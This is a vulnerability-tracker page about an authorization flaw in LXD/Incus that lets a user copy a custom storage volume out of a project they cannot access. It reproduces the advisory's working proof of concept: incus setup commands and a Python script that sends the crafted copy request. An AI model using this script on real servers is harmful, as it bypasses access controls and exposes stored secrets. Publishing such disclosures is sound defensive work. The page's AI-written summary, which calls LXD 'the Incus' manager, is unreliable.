- Exploited
- No known exploitation
- Fix
- Fixed in 0.0.0-20260630083100-c5184be310b1
- Who is exposed
- Not reported
Do first: Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.
- Last modified
- A 0-100 score for how much a CVE matters across the industry: exploitation, exposure, how widely the software is used, severity and whether a fix exists.What do these mean? →
- 17/100 · provisional
- The rating the maker of the software gives it. Shown when it differs from the CVSS level.What do these mean? →
- High (ghsa)
- Whether working attack code is public (Exploit-DB, Metasploit, Nuclei or GitHub). Public code makes attacks easier.What do these mean? →
- None on Exploit-DB, Metasploit or GitHub
Summary
LXD (the Incus container and VM manager) has a flaw in how custom storage volumes are copied between projects, where a caller can copy a volume from a project they lack access to into a project they can use. An attacker who knows the project and volume names could use this to reach secrets stored in those volumes, though the copy must happen on the same server.
Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.
Read the original description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f
Summary
Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus --project secrets storage volume ls remote:defaultExploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-volume secret-vol --name copy-secret-vol \
--pool default --source-pool default \
--insecureWait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--pool", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-volume", required=True)
ap.add_argument("--source-pool")
ap.add_argument("--name", required=True, help="new volume name in target project")
ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
ap.add_argument("--volume-only", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
source = {
"type": "copy",
"name": args.source_volume,
"project": args.source_project,
"volume_only": args.volume_only,
}
if args.source_pool:
source["pool"] = args.source_pool
body = {
"name": args.name,
"type": "custom",
"content_type": args.content_type,
"source": source,
}
path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
urllib.parse.quote(args.pool, safe=""),
urllib.parse.urlencode({"project": args.target_project}),
)
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
cve.now Index
- Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
- Exposure?/25Unknown. No advisory context yet
- Reach10/20Affects Go packages
- Severity7/10Rated high by ghsa
- No patch0/5No signal
What would change the score
- Would score about 72 if added to CISA KEV
- Would score about 67 if CISA's SSVC rates exploitation active
- Would score about 39 if advisories confirm default setups are exposed
What to do
Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.
Timeline
- Advisory published
- Record last updated
- First seen by cve.now
Affected versions
- github.com/canonical/lxdGo
fixed in 0.0.0-20260630083100-c5184be310b1
Evidence 10
- Advisory
- Advisory
- Advisory
- Repository
- Repository
Show all 10 sourcesShow fewer sources
- Repository
- Repository
- Repository
- Repository
- Repository
Corrections
None so far.
Something wrong on this page? Report an error. Every fix is listed here.
Questions about GHSA-7MR3-28H5-M5VX
Is GHSA-7MR3-28H5-M5VX being exploited?
It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data
Which versions are affected by GHSA-7MR3-28H5-M5VX?
github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data
How do I fix GHSA-7MR3-28H5-M5VX?
Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data